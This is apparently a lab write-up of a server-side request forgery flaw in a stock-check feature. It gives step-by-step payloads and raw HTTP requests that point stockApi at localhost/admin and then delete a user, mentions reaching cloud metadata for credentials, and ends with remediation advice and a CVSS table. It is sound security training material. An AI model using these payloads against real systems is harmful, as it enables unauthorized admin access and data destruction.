

# Title of Issue

Server-Side Request Forgery (SSRF) — Access to Internal Admin Interface via Local Server Redirect

---

## Description

The application's stock-check feature accepts a `stockApi` parameter that specifies the URL of a backend service to query for stock information. The server does not validate or restrict the URLs it will request, allowing an attacker to supply an arbitrary URL — including internal addresses — and have the server fetch it on their behalf.

By pointing `stockApi` at `http://localhost/admin`, the attacker exploits the fact that the web server is trusted to access its own administrative interface (which is blocked from external users). The server fetches the admin page and returns it in the response, revealing admin functionality. The attacker can then construct a follow-up request to delete user `carlos` via the internal admin endpoint.

**Affected Endpoint:** `POST /product/stock` **Vulnerable Parameter:** `stockApi`

---

## Steps to Exploit

1. Navigate to any product detail page and click **Check stock**.
2. Intercept the `POST /product/stock` request.
3. Observe the `stockApi` parameter contains a URL (e.g., `http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1`).
4. Replace the `stockApi` value with:

```
http://localhost/admin
```

5. Forward the request.
6. Observe that the response contains the content of the internal admin panel.
7. Identify the delete endpoint for `carlos` from the admin panel HTML (e.g., `/admin/delete?username=carlos`).
8. Send a second SSRF request with:

```
http://localhost/admin/delete?username=carlos
```

9. User `carlos` is deleted and the lab is solved.
- 

## Proof of Concept

**Step 1 — SSRF to access internal admin panel:**

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

stockApi=http%3A%2F%2Flocalhost%2Fadmin
```

**Response (excerpt):**

```
<a href="/admin/delete?username=carlos">Delete</a>
<a href="/admin/delete?username=wiener">Delete</a>
```

**Step 2 — SSRF to delete carlos:**

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

stockApi=http%3A%2F%2Flocalhost%2Fadmin%2Fdelete%3Fusername%3Dcarlos
```

**Response:** HTTP 200 — user `carlos` deleted via the internal endpoint.

**Why `localhost` bypasses access controls:** The admin interface is configured to allow access only from the local machine (127.0.0.1). External requests are blocked. However, when the application server makes the request on behalf of the attacker (via SSRF), it originates from 127.0.0.1 — so the admin panel's IP-based restriction is satisfied.

## Impact

- Access to internal administrative interfaces not exposed to the internet.
- Ability to perform privileged actions (user deletion, configuration changes) by proxying through the server.
- Can be used to probe and interact with all services on the local network (127.0.0.1, 192.168.x.x, 10.x.x.x, 172.16.x.x).
- Can access cloud metadata APIs (169.254.169.254) to steal credentials.
- Complete bypass of network-level access controls that rely on source IP.

## Mitigation / Remediation

1. **Validate and restrict `stockApi` (and similar) URL parameters** — use an allowlist of permitted hostnames/IPs. Reject any URL pointing to localhost, private IP ranges, or link-local addresses.
2. **Do not forward arbitrary user-supplied URLs** — if the backend URL must be dynamic, use indirect references (e.g., a store ID that maps to a server-side URL).
3. **Implement egress filtering on the application server** — block outbound requests to internal RFC 1918 ranges (10.x, 172.16.x, 192.168.x) and loopback (127.0.0.1).
4. **Do not rely solely on network-level IP restrictions for admin interfaces** — require strong authentication in addition to IP-based controls.
5. **Monitor and log all outbound HTTP requests** made by the application server for anomaly detection.

## CVSS Score

**CVSS v3.1 Score: 9.8 (Critical)** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

## CVSS Justification

| Metric | Value | Rationale |
|--------|-------|-----------|
|--------|-------|-----------|

|                        |           |                                                          |
|------------------------|-----------|----------------------------------------------------------|
| Attack Vector          | Network   | Exploitable remotely via HTTP                            |
| Attack Complexity      | Low       | Simple URL substitution, no special conditions           |
| Privileges Required    | None      | Stock check is unauthenticated                           |
| User Interaction       | None      | No victim action required                                |
| Scope                  | Unchanged | Impact within the application server boundary            |
| Confidentiality Impact | High      | Full access to internal admin data and services          |
| Integrity Impact       | High      | Internal admin actions (delete, modify) can be triggered |
| Availability Impact    | High      | Internal services can be disrupted or data destroyed     |